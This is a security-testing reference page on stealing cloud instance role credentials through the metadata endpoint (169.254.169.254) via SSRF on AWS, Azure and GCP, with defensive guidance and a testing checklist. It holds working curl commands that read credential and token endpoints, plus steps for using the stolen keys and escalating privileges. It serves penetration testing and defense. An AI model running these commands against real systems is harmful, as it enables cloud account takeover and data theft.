Metadata Service (IMDS)
Every cloud instance (EC2, VM, Compute Engine) has access to an internal metadata endpoint that gives it information about itself and, most juicy, temporary credentials of the associated role/identity. That endpoint lives on a non-routable IP (169.254.169.254) reachable only from the instance itself. The problem: if an app on that instance has an SSRF (see SSRF (Server-Side Request Forgery)), the attacker makes the app query the metadata service for them and steal the instance’s credentials. It’s one of the most impactful cloud attack chains.
The endpoint
Section titled “The endpoint”AWS / Azure: http://169.254.169.254/...GCP: http://metadata.google.internal/ (= 169.254.169.254)Only reachable from the instance → the attacker needs execution on it (RCE) or, far more common, an SSRF in an app running there.
AWS: IMDSv1 vs IMDSv2 (key)
Section titled “AWS: IMDSv1 vs IMDSv2 (key)”# IMDSv1 (vulnerable to SSRF): a simple GET returns credentialscurl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE># -> AccessKeyId, SecretAccessKey, Token (the role's temporary credentials)
# IMDSv2 (mitigated): requires a prior PUT token (header), which a simple SSRF can't doTOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60")curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/...IMDSv2 requires a PUT with a header and blocks forwarding (hop limit), which stops most SSRF. Forcing IMDSv2 is the main mitigation.
Azure and GCP
Section titled “Azure and GCP”# Azure IMDS: requires the Metadata:true headercurl -H "Metadata:true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"# Managed Identity token (access to Azure resources)curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# GCP: requires the Metadata-Flavor: Google headercurl -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"# -> access token of the instance's service accountThe required header (Azure Metadata:true, GCP Metadata-Flavor) is a partial mitigation: an SSRF that can’t set headers won’t reach it.
The attack chain (SSRF → cloud)
Section titled “The attack chain (SSRF → cloud)”1. App vulnerable to SSRF on a cloud instance (see web-ssrf)2. SSRF -> http://169.254.169.254/.../security-credentials/<role>3. You obtain the instance role's temporary credentials4. aws configure / export -> use those credentials aws sts get-caller-identity # confirm who you are5. Enumerate the role's permissions and escalate (see cloud-iam)Exploitation after stealing the credentials
Section titled “Exploitation after stealing the credentials”# AWS: configure the temporary credentials (includes the session token)export AWS_ACCESS_KEY_ID=... AWS_SECRET_ACCESS_KEY=... AWS_SESSION_TOKEN=...aws sts get-caller-identity# enumerate what the role allows -> pacu / enumerate-iam -> escalation (cloud-iam)# GCP: use the access tokencurl -H "Authorization: Bearer <token>" https://...googleapis.com/...For the defense
Section titled “For the defense”- AWS: force IMDSv2 (
HttpTokens: required) and set the hop limit to 1 — stops the vast majority of SSRF. - Azure/GCP: the mandatory headers already help; also restrict what the app can send out.
- Least privilege on the instance role: if the role has barely any permissions, stealing its credentials is worth little (see IAM Abuse and Privilege Escalation).
- Fix the SSRF at the source (destination validation, allowlist — see SSRF (Server-Side Request Forgery)); WAF/egress blocking
169.254.169.254. - Monitor instance-credential use from external IPs (sign of theft via SSRF).
Testing checklist
Section titled “Testing checklist”- Is there SSRF in an app on a cloud instance? (SSRF (Server-Side Request Forgery))
- AWS: is IMDSv1 reachable? (direct GET to security-credentials)
- AWS: if IMDSv2, does the SSRF allow PUT + header?
- Azure: Managed Identity token (Metadata:true header)
- GCP: service account token (Metadata-Flavor: Google)
- Use the stolen credentials (sts get-caller-identity)
- Enumerate the role’s permissions and escalate (IAM Abuse and Privilege Escalation)
- Blue: IMDSv2 forced, hop limit, minimal role?